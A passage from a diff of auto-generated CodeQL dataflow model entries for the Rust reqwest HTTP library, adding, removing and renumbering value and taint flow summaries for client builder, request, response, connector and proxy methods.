"Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_send_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_stream_receive_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::https_only", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::https_only]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::https_only", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::https_only]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::https_only", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::identity", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::interface", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::local_address", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::max_tls_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::min_tls_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -94,6 +98,8 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve_to_addrs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_keepalive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_keepalive_interval", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_keepalive_retries", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_nodelay", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::nodelay]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_nodelay", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::nodelay]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_nodelay", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -122,16 +128,21 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::use_rustls_tls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::user_agent", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::zstd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::call", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::call", "Argument[self].Field[crate::async_impl::client::HyperService::cookie_store].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::call", "Argument[self].Field[crate::async_impl::client::HyperService::cookie_store]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::detect", "Argument[1]", "ReturnValue.Field[crate::async_impl::decoder::Decoder::inner].Field[crate::async_impl::decoder::Inner::PlainText(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_stream", "Argument[self]", "ReturnValue.Field[crate::async_impl::decoder::IoStream(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::async_impl::h3_client::H3Client::connector]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[2]", "ReturnValue.Field[crate::async_impl::h3_client::H3Client::cookie_store]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::async_impl::h3_client::connect::H3Connector::resolver]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[4]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::async_impl::h3_client::connect::H3Connector::client_config]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_connection", "Argument[2]", "ReturnValue.Field[crate::async_impl::h3_client::pool::PoolClient::inner]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::async_impl::h3_client::pool::PoolClient::inner]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::async_impl::h3_client::pool::PoolConnection::client]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::async_impl::h3_client::pool::PoolConnection::close_rx]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool", "Argument[self].Field[crate::async_impl::h3_client::pool::PoolConnection::client].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool", "Argument[self].Field[crate::async_impl::h3_client::pool::PoolConnection::client]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::boundary", "Argument[self].Field[crate::async_impl::multipart::Form::inner].Field[crate::async_impl::multipart::FormParts::boundary]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::boundary", "Argument[self].Field[crate::async_impl::multipart::FormParts::boundary]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::part", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::percent_encode_attr_chars", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -149,6 +160,8 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::mime", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::body", "Argument[self].Field[crate::async_impl::request::Request::body].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::body_mut", "Argument[self].Field[crate::async_impl::request::Request::body]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::extensions", "Argument[self].Field[crate::async_impl::request::Request::extensions]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::extensions_mut", "Argument[self].Field[crate::async_impl::request::Request::extensions]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers", "Argument[self].Field[crate::async_impl::request::Request::headers]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers_mut", "Argument[self].Field[crate::async_impl::request::Request::headers]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::method", "Argument[self].Field[crate::async_impl::request::Request::method]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -156,8 +169,6 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::async_impl::request::Request::method]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::async_impl::request::Request::url]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pieces", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout", "Argument[self].Field[crate::async_impl::request::Request::timeout].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout_mut", "Argument[self].Field[crate::async_impl::request::Request::timeout]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::try_clone", "Argument[self].Field[crate::async_impl::request::Request::method]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::async_impl::request::Request::method]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::try_clone", "Argument[self].Field[crate::async_impl::request::Request::url]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::async_impl::request::Request::url]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::async_impl::request::Request::url]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -184,14 +195,20 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::error_for_status", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::error_for_status_ref", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::json", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::async_impl::response::Response::url].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text_with_charset", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::async_impl::response::Response::url]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::background_threadpool::BackgroundProcessor::inner]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::layer", "Argument[0]", "ReturnValue.Field[crate::background_threadpool::BackgroundProcessor::inner]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::background_threadpool::BackgroundResponseFuture::rx]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from", "Argument[0]", "ReturnValue.Field[crate::blocking::body::Body::kind].Field[crate::blocking::body::Kind::Bytes(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_async", "Argument[self].Field[crate::blocking::body::Body::kind].Field[crate::blocking::body::Kind::Reader(1)]", "ReturnValue.Field[2]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_reader", "Argument[self].Field[crate::blocking::body::Body::kind].Field[crate::blocking::body::Kind::Reader(0)]", "ReturnValue.Field[crate::blocking::body::Reader::Reader(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::len", "Argument[self].Field[crate::blocking::body::Body::kind].Field[crate::blocking::body::Kind::Reader(1)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::sized", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::delete", "Argument[self].Reference", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::get", "Argument[self].Reference", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] @@ -232,6 +249,7 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_prior_knowledge", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::https_only", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::identity", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::interface", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::local_address", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::max_tls_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::min_tls_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -250,6 +268,8 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve_to_addrs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_keepalive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_keepalive_interval", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_keepalive_retries", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_nodelay", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_native_certs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -263,6 +283,7 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::use_rustls_tls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::user_agent", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::zstd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::boundary", "Argument[self].Field[crate::blocking::multipart::Form::inner].Field[crate::async_impl::multipart::FormParts::boundary]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_reader", "Argument[self]", "ReturnValue.Field[crate::blocking::multipart::Reader::form]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::reader", "Argument[self]", "ReturnValue.Field[crate::blocking::multipart::Reader::form]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::metadata", "Argument[self].Field[crate::blocking::multipart::Part::meta]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -278,7 +299,6 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::method_mut", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::method]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::method]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::url]", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout_mut", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::timeout]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::url]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url_mut", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::url]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::version", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::version]", "ReturnValue", "value", "dfc-generated"] @@ -303,48 +323,73 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::try_clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::error_for_status_ref", "Argument[self].Field[crate::blocking::response::Response::inner]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::error_for_status_ref", "Argument[self].Field[crate::blocking::response::Response::inner]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::blocking::response::Response::inner]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::blocking::response::Response::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[2]", "ReturnValue.Field[crate::blocking::response::Response::_thread_handle]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::blocking::response::Response::inner].Field[crate::async_impl::response::Response::url]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::fetch", "Argument[self].Field[0].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::fetch", "Argument[self].Field[crate::config::RequestConfig(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::config::RequestConfig(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[0]", "ReturnValue.Field[crate::connect::ConnectorBuilder::inner].Field[crate::connect::Inner::DefaultTls(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[1]", "ReturnValue.Field[crate::connect::ConnectorBuilder::inner].Field[crate::connect::Inner::DefaultTls(1)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[2]", "ReturnValue.Field[crate::connect::ConnectorBuilder::proxies]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[3]", "ReturnValue.Field[crate::connect::ConnectorBuilder::user_agent]", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[5]", "ReturnValue.Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[6]", "ReturnValue.Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[6]", "ReturnValue.Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[7]", "ReturnValue.Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::proxies]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[3]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::user_agent]", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[5]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[6]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[6]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[7]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[0]", "ReturnValue.Field[crate::connect::ConnectorBuilder::inner].Field[crate::connect::Inner::RustlsTls::http]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[2]", "ReturnValue.Field[crate::connect::ConnectorBuilder::proxies]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[3]", "ReturnValue.Field[crate::connect::ConnectorBuilder::user_agent]", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[5]", "ReturnValue.Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[6]", "ReturnValue.Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[6]", "ReturnValue.Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[7]", "ReturnValue.Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::set_socks_resolver", "Argument[0]", "Argument[self].Field[crate::connect::ConnectorBuilder::resolver].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::set_timeout", "Argument[0]", "Argument[self].Field[crate::connect::ConnectorBuilder::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::set_verbose", "Argument[0]", "Argument[self].Field[crate::connect::ConnectorBuilder::verbose].Field[0]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::set_verbose", "Argument[0]", "Argument[self].Field[crate::connect::ConnectorBuilder::verbose].Field[crate::connect::verbose::Wrapper(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::wrap", "Argument[0]", "ReturnValue.Reference.Field[crate::connect::verbose::Verbose::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::wrap", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve", "Argument[self].Field[0].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve", "Argument[self].Field[crate::dns::gai::GaiResolver(0)].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve", "Argument[self].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::source", "Argument[self].Field[0]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::source", "Argument[self].Field[crate::dns::hickory::HickoryDnsSystemConfError(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::dns::resolve::DnsResolverWithOverrides::dns_resolver]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::dns::resolve::DynResolver::resolver]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_url", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::without_url", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::intercept", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::maybe_has_http_auth", "Argument[self].Field[crate::proxy::Matcher::maybe_has_http_auth]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::maybe_has_http_custom_headers", "Argument[self].Field[crate::proxy::Matcher::maybe_has_http_custom_headers]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::basic_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::custom_http_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::intercept", "Argument[self].Field[crate::proxy::Proxy::intercept].Field[crate::proxy::Intercept::All(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::intercept", "Argument[self].Field[crate::proxy::Proxy::intercept].Field[crate::proxy::Intercept::Http(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::intercept", "Argument[self].Field[crate::proxy::Proxy::intercept].Field[crate::proxy::Intercept::Https(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_matcher", "Argument[self].Field[crate::proxy::Proxy::extra]", "ReturnValue.Field[crate::proxy::Matcher::extra]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_matcher", "Argument[self].Field[crate::proxy::Proxy::intercept].Field[crate::proxy::Intercept::Custom(0)]", "ReturnValue.Field[crate::proxy::Matcher::inner].Field[crate::proxy::Matcher_::Custom(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_proxy", "Argument[0]", "Argument[self].Field[crate::proxy::Proxy::no_proxy]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_proxy", "Argument[0]", "ReturnValue.Field[crate::proxy::Proxy::no_proxy]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_proxy", "Argument[self]", 